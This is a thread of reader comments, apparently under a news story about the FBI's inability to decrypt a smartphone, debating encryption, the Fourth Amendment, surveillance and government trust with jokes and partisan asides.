It's a lot harder to forge a real-ID-compliant DL than an SS card, that doesn't even have a picture!
Socialism: a lie told by totalitarians and believed by fools.
Nothing happened to him because he was also spying on everyone in Congress and could have dished the dirt on anyone who advocated doing something to him. Obviously.
It's a bit like the gun control debate: Instead of respecting our constitution or modifying it, we do an end run (Keep watching: Soon California will be giving gun permits valid for 1 week, with a 10 year waiting period).
Perhaps since the Constitution makes no specific mention of Smart Phones, the data on them need not be considered as a modern version of paper...
Amendment 4 - Search and Seizure
The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.
Awww poor big daddy can't decrypt a widdle phone. Suck it up sunshine. My data is mine and you ya thieving snooping law breaking federal wankers can just deal with it.
Next up: The FBI takes on the problem of letters inside opaque envelopes.
There's no time like the present. Well, the past used to be.
No, I don't think the was the intent of the founders. The intent was to have an open society. A closed society where everyone keeps everything in secret *cannot* function. In a society where anyone can speak whatever language they want the whole point of how the Republic is set up is negated. It is set up to protect the rights of the minority. But if the minority cannot even speak the same language as they majority then their votes no longer matter. Sorry, the polling location was changed. You didn't get the memo??? Oh, you got the memo, but it was in a language you could not comprehend??? Sorry, to bad for you. Your vote no longer matters.
It really all goes back to what a society is. A society is a set of humans that share things in equal distribution to their work. Work *should* measured relative to their ability to contribute back to the members of that society. Do you expect the poor man on the street to become a billionaire over night? No. You don't. Why? Because he does not have that ability. You may think he does, but for him it is literally physically impossible. The same is true with language. Do you expect those who do not comprehend to comprehend without even the resources to obtain the ability to comprehend? If you deny them the resources then there is no way they will ever comprehend. And what you have essentially done is fracture society. That is why I am say that all of this "encryption" stuff has been planted by "alternative" governments that would love nothing more than to see our government society fractured (which is precisely the state it has fallen into over the past couple of decades).
This isn't about distrust of our government. We *should* fully trust our government, because if we don't then we have *much* bigger issues then security to worry about. That being said, I do think we have those issues. Our United States government is, seemingly, on the brink of collapse because, with the about of disagreement between parties, it is basically dysfunctional. That being said, the solution is not security but the exact opposite... transparency... openness. If we continue down the route of security it *WILL* end our Republic that so many have fought so hard and died for.
Encryption is not merely a public safety issue. It is a constitutional crisis level problem.
You've got a fascinating point, but there's no way you can ever have any idea what all possible adversaries' capabilities are. And you'd have to continuously stay up-to-date on it too, since what costs $10M today is $1M tomorrow.
I think there's also an assumption that "legitimate" adversaries have more power than illegitimate ones, i.e. your own government happens to have the most, fastest computers. Go ahead and try to tell that to a citizen of a poor country. As a citizen of a rich country, I think it's probably true (i.e. the US government is able to brute force my stuff easier than, say, the Chinese government) but I don't really know that's true, do I? And if it's right for me, then it's wrong for everyone everywhere else!
As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
FBI can't read our minds - is a public safety issue. ....... :-)
So they can stop our minds from working with help of pharma produced pills.
Or develop a way of reading our minds.
"I don't mind (sorry, pun) that because I've got nothing to hide